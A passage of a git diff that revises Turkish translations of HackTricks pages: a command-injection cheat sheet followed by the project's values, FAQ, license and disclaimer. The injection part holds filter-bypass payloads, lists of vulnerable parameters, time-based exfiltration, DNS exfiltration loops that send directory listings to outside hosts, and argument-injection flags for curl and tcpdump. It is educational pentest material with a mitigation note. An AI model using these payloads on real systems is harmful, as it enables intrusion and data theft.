ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Sınırlama** Bypasses -Eğer bir **linux makinesi içinde rastgele komutlar** çalıştırmaya çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir: +Eğer bir linux makinesi içinde **arbitrary commands inside a linux machine** çalıştırmaya çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametreler -Kod enjeksiyonuna ve benzeri RCE zafiyetlerine duyarlı olabilecek en iyi 25 parametre şunlardır (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +İşte code injection ve benzeri RCE açıklarına karşı potansiyel olarak savunmasız olabilecek ilk 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Kod enjeksiyonuna ve benzeri RCE zafiyetlerine duyarlı olabilecek en iyi 25 par ``` ### Time based data exfiltration -Veri çıkarma: karakter karakter +Veri çıkarma: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### DNS tabanlı veri sızdırma -`https://github.com/HoLyVieR/dnsbin` aracına dayanmaktadır; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır +`https://github.com/HoLyVieR/dnsbin` adresindeki araca dayanır; ayrıca dnsbin.zhack.ca'da barındırılmıştır. ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar: +DNS tabanlı data exfiltration kontrolü için çevrimiçi araçlar: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Filtreleme atlatma #### Windows ``` @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu yüzden shell'e özel anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. +`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu nedenle shell tarafından özel anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır. -**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi elemanı olarak** verin, böylece shell kullanılmaz: +**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi öğesi olarak** sağlayın, böylece herhangi bir shell devreye girmez: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,24 +140,24 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması gerektirmeyen bir WebSocket olayı aracılığıyla saldırgan kontrollü verinin `id_user` içine yerleştirilmesine izin veriyordu; bu daha sonra bir `exec()` çağrısına gömülerek RCE'ye yol açtı (Pwn2Own Ireland 2024). ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Tüm enjeksiyonlar kabuk özel karakterleri gerektirmez. Uygulama güvensiz dizeleri bir sistem aracına argüman olarak geçiriyorsa (hatta `execve`/`execFile` ve kabuk olmadan), birçok program `-` veya `--` ile başlayan herhangi bir argümanı yine seçenek olarak parse eder. Bu, saldırganın modları çevirmesine, çıktı yollarını değiştirmesine veya tehlikeli davranışları tetiklemesine izin verir; kabuğa girmeniz gerekmez. +Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. Typical places where this appears: -- Gömülü web arayüzleri/CGI işleyicileri that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. -- Merkezi CGI yönlendiricileri (örn. `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. +- Embedded web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. +- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. What to try: - Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. - Abuse flags that change behavior or write files, for example: -- `ping`: `-f`/`-c 100000` ile cihazı zorlamak (DoS) -- `curl`: `-o /tmp/x` ile rastgele yollar yazmak, `-K ` ile saldırgan kontrollü konfigürasyon yüklemek -- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` ile post-rotate yürütme elde etmek güvenli olmayan sarıcılarla +- `ping`: `-f`/`-c 100000` ile cihazı zorlayın (DoS) +- `curl`: `-o /tmp/x` ile istediğiniz path'e yazmak, `-K ` ile saldırgan kontrollü config yüklemek +- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` ile post-rotate yürütme elde etme (güvensiz wrappers) - If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. Generic PoC shapes against centralized CGI dispatchers: @@ -178,7 +178,7 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Kaynaklar +## Referanslar - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index ee5db2a99..8a9995a77 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -5,17 +5,17 @@ ## HackTricks Değerleri > [!TIP] -> Bunlar **HackTricks Projesi'nin değerleri**: +> Bunlar **HackTricks Projesi**nin değerleridir: > -> - Tüm İnternet için **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklarına erişim sağlamak. -> - Hacking öğrenmekle ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır. +> - Tüm İnternet'e **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklarına erişim sağlamak. +> - Hacking öğrenme ile ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır. > - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir. -> - Topluluğun yayınladığı harika **hacking** tekniklerini **DEPOLAMAK** ve **ORİJİNAL** **YAZARLARA** tüm **kredileri** vermek. -> - **Başkalarının kredilerini almak istemiyoruz**, sadece herkes için güzel numaraları depolamak istiyoruz. -> - Ayrıca HackTricks'te **kendi araştırmalarımızı** yazıyoruz. -> - Birkaç durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**. -> - Kitaptaki tüm **hacking** tekniklerini **DÜZENLEMEK** ki bu şekilde **DAHA ERİŞİLEBİLİR** olsun -> - HackTricks ekibi içeriği sadece düzenlemek için ücretsiz olarak binlerce saat ayırdı, böylece insanlar **daha hızlı öğrenebilir** +> - Topluluğun yayınladığı harika **hacking** tekniklerini saklamak ve **ASIL** **YAZARLARA** tüm **kredileri** vermek. +> - **Başkalarının kredisini istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz. +> - HackTricks'te ayrıca **kendi araştırmalarımızı** da yazıyoruz. +> - Bazı durumlarda tekniğin önemli kısımlarının sadece **HackTricks'te bir özetini** yazacağız ve daha fazla detay için **okuyucuyu orijinal yazıyı ziyaret etmeye teşvik edeceğiz**. +> - Kitaptaki tüm **hacking** tekniklerini düzenleyerek daha erişilebilir hale getirmek. +> - HackTricks ekibi, insanların daha hızlı öğrenebilmesi için içeriği yalnızca düzenlemeye binlerce ücretsiz saat ayırdı.
@@ -25,15 +25,15 @@ > > - **Bu kaynaklar için çok teşekkürler, size nasıl teşekkür edebilirim?** -Bu kaynakları bir araya getiren HackTricks ekibine kamuya açık olarak bir tweet'te [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\ -Eğer özellikle minnettar iseniz [**projeye buradan sponsor olabilirsiniz**](https://github.com/sponsors/carlospolop).\ +HackTricks ekiplerine kamuoyunda teşekkür etmek için bu kaynakları bir tweet'te [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\ +Eğer özel olarak minnettar iseniz projeyi ayrıca [**buradan sponsor edebilirsiniz**](https://github.com/sponsors/carlospolop).\ Ve Github projelerine **yıldız vermeyi unutmayın!** (Linkleri aşağıda bulabilirsiniz). > [!TIP] > > - **Projeye nasıl katkıda bulunabilirim?** -Toplulukla **yeni ipuçları ve numaralar paylaşabilir veya** kitaplarda bulduğunuz hataları düzeltebilirsiniz; bunun için ilgili Github sayfalarına bir **Pull Request** gönderin: +Kitaplardaki bulduğunuz hataları düzelterek veya toplulukla yeni ipuçları ve püf noktaları paylaşarak ilgili Github sayfalarına bir **Pull Request** göndererek katkıda bulunabilirsiniz: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -42,16 +42,16 @@ Github projelerine **yıldız vermeyi unutmayın!** > [!TIP] > -> - **HackTricks'ten bazı içerikleri kopyalayıp kendi bloguma koyabilir miyim?** +> - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?** -Evet, koyabilirsiniz, ancak içeriğin alındığı belirli link(leri) **belirtmeyi unutmayın**. +Evet, yapabilirsiniz, ama içeriğin alındığı belirli link(leri) belirtmeyi **unutmayın**. > [!TIP] > -> - **HackTricks'in bir sayfasını nasıl referans gösterebilirim?** +> - **Bir HackTricks sayfasına nasıl referans veririm?** Bilgiyi aldığınız sayfanın link(lerinin) göründüğü sürece yeterlidir.\ -Eğer bir bibtex'e ihtiyacınız varsa şu gibi bir şey kullanabilirsiniz: +Bir bibtex'e ihtiyacınız varsa şöyle bir şey kullanabilirsiniz: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **HackTricks'in tamamını bloguma kopyalayabilir miyim?** +> - **HackTricks içeriğini bloguma tamamen kopyalayabilir miyim?** -**Tercih etmem**. Bu **hiç kimseye fayda sağlamayacak**, çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak kamuya açık**. +**Tercihen hayır**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak halka açıktır**. -Kayıp olacağından korkuyorsanız, Github'da fork'layın veya indirin; dediğim gibi zaten ücretsiz. +Eğer bunun kaybolacağından korkuyorsanız, Github'ta forklayın veya indirin; dediğim gibi zaten ücretsiz. > [!WARNING] > > - **Neden sponsorlarınız var? HackTricks kitapları ticari amaçlı mı?** -İlk **HackTricks** **değeri**, tüm dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat ayırdı**, yine, **ÜCRETSİZ**. +İlk **HackTricks** **değeri**, tüm dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** ayırdı, yine, **ÜCRETSİZ** olarak. -HackTricks kitaplarının **ticari amaçlı** olduğunu düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**. +HackTricks kitaplarının **ticari amaçlı** yapıldığını düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**. -Sponsorlarımızın olması, tüm içerik ÜCRETSİZ olsa bile, isteyenlerin **çalışmamızı takdir etme imkanı** sunmasını istememizdendir. Bu nedenle insanlara HackTricks'e [**Github sponsors**](https://github.com/sponsors/carlospolop) üzerinden bağış yapma seçeneği ve **ilgili siber güvenlik şirketlerine** HackTricks'i sponsor etme ve kitapta **bazı reklamlar** bulundurma imkanı sunuyoruz; **reklamlar** her zaman **görünür** olacak şekilde ama içerik odaklanıldığında öğrenme sürecini **rahatsız etmeyecek** yerlere konulur. +Sponsorlarımızın olmasının sebebi, tüm içerik ÜCRETSİZ olsa bile topluluğa **işimizi takdir etme imkânı** vermek istememizdir. Bu yüzden insanlara HackTricks'e bağış yapma seçeneğini [**Github sponsors**](https://github.com/sponsors/carlospolop) aracılığıyla sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor edebiliyor ve kitapta bazı **reklamlar** olabiliyor; bu **reklamlar** her zaman görünür yerlerde fakat içeriğe odaklanıldığında **öğrenme sürecini rahatsız etmeyecek** şekilde yerleştiriliyor. -HackTricks'te, HackTricks'ten çok daha az içeriğe sahip diğer bloglarda olduğu gibi rahatsız edici reklamlarla dolu içerik bulamayacaksınız; çünkü HackTricks ticari amaçlı yapılmamıştır. +HackTricks'i, içeriği HackTricks'ten çok daha az olan diğer bloglar gibi rahatsız edici reklamlarla dolu olarak bulamazsınız; çünkü HackTricks ticari amaçlı yapılmadı. > [!CAUTION] > -> - **HackTricks'teki bir sayfa blog yazıma dayanıyor ancak referans verilmemişse ne yapmalıyım?** +> - **HackTricks sayfası blog yazımın içeriklerine dayanıyor ama kaynak gösterilmemişse ne yapmalıyım?** -**Çok üzgünüz. Bu olmamalıydı**. Lütfen ilgili HackTricks sayfasının linkini ve blogunuzun linkini Github issues, Twitter, Discord... üzerinden bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**. +**Çok özür dileriz. Bu olmamalıydı.** Lütfen bize Github issues, Twitter, Discord... üzerinden o HackTricks sayfasının linkini ve blogunuzun linkini bildirin; **inceleyip en kısa sürede ekleyeceğiz**. > [!CAUTION] > -> - **HackTricks'te blogumdan içerik varsa ve bunu orada istemiyorsam ne yapmalıyım?** +> - **Blogumdan alınmış içerik HackTricks'te varsa ve orada olmasını istemiyorsam ne yapmalıyım?** -HackTricks'te sayfanıza bağlantı bulunmasının şunları sağladığını unutmayın: +HackTricks'te sayfanıza verilen linklerin olduğunu unutmayın: -- **SEO**'nuzu iyileştirir -- İçerik **15'ten fazla dile çevrilir**, böylece daha fazla kişinin bu içeriğe erişmesi mümkün olur -- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (bazı kişiler bize sayfaları HackTricks'te yer aldığından beri daha fazla ziyaret aldıklarını bildirdi) +- SEO'nuzu **iyileştirir** +- İçerik **15'ten fazla dile çevrilir**, böylece daha fazla kişinin bu içeriğe ulaşması mümkün olur +- **HackTricks**, insanların **sayfanızı incelemesini** teşvik eder (bazı kişiler bize, sayfalarının HackTricks'te yer almasının ardından daha fazla ziyaret aldıklarını bildirdi) -Ancak hâlâ blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız bize bildirin; kesinlikle **blogunuza ait tüm bağlantıları** ve buna dayanan herhangi bir içeriği kaldıracağız. +Yine de blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız bize bildirin; kesinlikle **blogunuza verilen tüm linkleri** ve ondan türetilen içerikleri kaldıracağız. > [!CAUTION] > > - **HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?** -Her zaman **orijinal yazarlara tüm kredileri veririz**. Orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız bize bildirin; biz ya **kaldıracağız**, ya **metinden önce linki ekleyeceğiz**, ya da **linki ekleyerek yeniden yazacağız**. +Her zaman **asıl yazarlara tüm krediyi veriyoruz**. Eğer kaynak gösterilmeden kopya içerik içeren bir sayfa bulursanız bize bildirin; bu içeriği ya **kaldıracağız**, ya **metinden önce kaynak linkini ekleyeceğiz**, ya da **link ekleyerek yeniden yazacağız**. -## LICENSE +## LİSANS -Telif Hakkı © aksi belirtilmedikçe Tüm Hakları Saklıdır. +Telif Hakkı © Tüm hakları saklıdır aksi belirtilmedikçe. #### Lisans Özeti: -- Atıf: Şunları yapma özgürlüğünüz var: -- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayın ve dağıtın. -- Uyarlama — materyali yeniden karıştırın, dönüştürün ve üzerine inşa edin. +- Atıf: Şunları yapabilirsiniz: +- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayabilir ve yeniden dağıtabilirsiniz. +- Uyarlama — materyali yeniden düzenleyebilir, dönüştürebilir ve üzerine inşa edebilirsiniz. -#### Ek Koşullar: +#### Ek Şartlar: -- Üçüncü Taraf İçerik: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi, başka kaynaklardan içerik içerebilir. Bu tür içeriklerin kullanımı adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izin alınarak yapılır. Üçüncü taraf içeriklere ilişkin belirli lisans bilgileri için lütfen orijinal kaynaklara bakın. -- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilir. +- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri diğer kaynaklardan, örneğin diğer bloglardan veya yayınlardan alıntılar içerebilir. Böyle içeriklerin kullanımı adil kullanım ilkeleri doğrultusunda veya ilgili telif hakkı sahiplerinden açık izinle yapılmıştır. Üçüncü taraf içeriğe ilişkin özel lisans bilgileri için lütfen orijinal kaynaklara başvurun. +- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaştığınızda veya uyarladığınızda yazara atıfta bulunmanız teşvik edilir. #### Muafiyetler: - Ticari Kullanım: Bu içeriğin ticari kullanımıyla ilgili sorular için lütfen benimle iletişime geçin. -Bu lisans, içerikle ilişkili herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalama, ilgili sahiplerinin mülkiyetindedir. +Bu lisans, içeriğe ilişkin herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalama ilgili sahiplerine aittir. -**HackTricks'e erişerek veya kullanarak, bu lisansın hükümlerine uymayı kabul edersiniz. Bu hükümlere katılmıyorsanız lütfen bu web sitesine erişmeyin.** +**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartları kabul etmiyorsanız lütfen bu web sitesine erişmeyin.** -## **Disclaimer** +## **Feragatname** > [!CAUTION] -> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitaptaki içerik 'olduğu gibi' sağlanır ve yazarlar ile yayıncılar, içerikte bulunan bilgi, ürün, hizmet veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya bulunabilirliği konusunda açık veya zımni hiçbir beyan veya garanti vermezler. Bu tür bilgilere olan güveniniz tamamen kendi sorumluluğunuzdadır. +> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitaptaki içerik 'olduğu gibi' sunulmakta olup yazarlar ve yayıncılar, kitaptaki bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği konusunda açık veya zımni hiçbir beyan veya garanti vermezler. Bu tür bilgilere dayanmanız tamamen kendi sorumluluğunuzdadır. > -> Yazarlar ve yayıncılar hiçbir koşulda, dolaylı veya sonuç olarak ortaya çıkan zararlar da dahil olmak üzere herhangi bir kayıp veya zarardan veya veri kaybı ya da kar kaybı nedeniyle bu kitabın kullanımıyla bağlantılı olarak doğan veya bağlantılı olan herhangi bir kayıp veya zarardan sorumlu tutulamazlar. +> Yazarlar ve yayıncılar hiçbir durumda veri veya kâr kaybı dahil fakat bunlarla sınırlı olmamak üzere dolaylı veya sonuçsal zararlar da dâhil olmak üzere, bu kitabın kullanımından kaynaklanan veya bununla bağlantılı herhangi bir veri kaybı veya kâr kaybı nedeniyle ortaya çıkan herhangi bir zarar veya kayıptan sorumlu tutulamazlar. > -> Ayrıca, bu kitapta tarif edilen teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasadışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasadışı veya etik dışı faaliyeti tasvip etmez veya desteklemez ve bu kitaptaki bilgilerin herhangi bir şekilde kullanımı kullanıcının kendi riski ve takdirindedir. +> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasa dışı veya etik dışı faaliyeti tasvip etmez veya desteklemez; bu kitaptaki bilgilerin kullanımı kullanıcının kendi riski ve takdirindedir. > -> Kullanıcı, bu kitaptaki bilgilere dayanarak yapılan herhangi bir eylemden münhasıran sorumludur ve burada anlatılan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım aramalıdır. +> Kullanıcı, bu kitaptaki bilgilere dayanarak alınan herhangi bir eylemden münhasıran sorumludur ve burada açıklanan herhangi bir teknik veya ipucunu uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım aramalıdır. > -> Bu kitabı kullanarak, kullanıcı yazarları ve yayıncıları bu kitabın veya içindeki bilgilerin kullanımı sonucu ortaya çıkabilecek herhangi bir zarar, kayıp veya zarardan doğan her türlü sorumluluktan feragat etmeyi kabul eder. +> Bu kitabı kullanmakla, kullanıcı yazarları ve yayıncıları bu kitabın veya içindeki bilgilerin kullanılması sonucunda ortaya çıkabilecek her türlü zarar, kayıp veya zarardan feragat etmeyi kabul eder. {{#include ../banners/hacktricks-training.md}}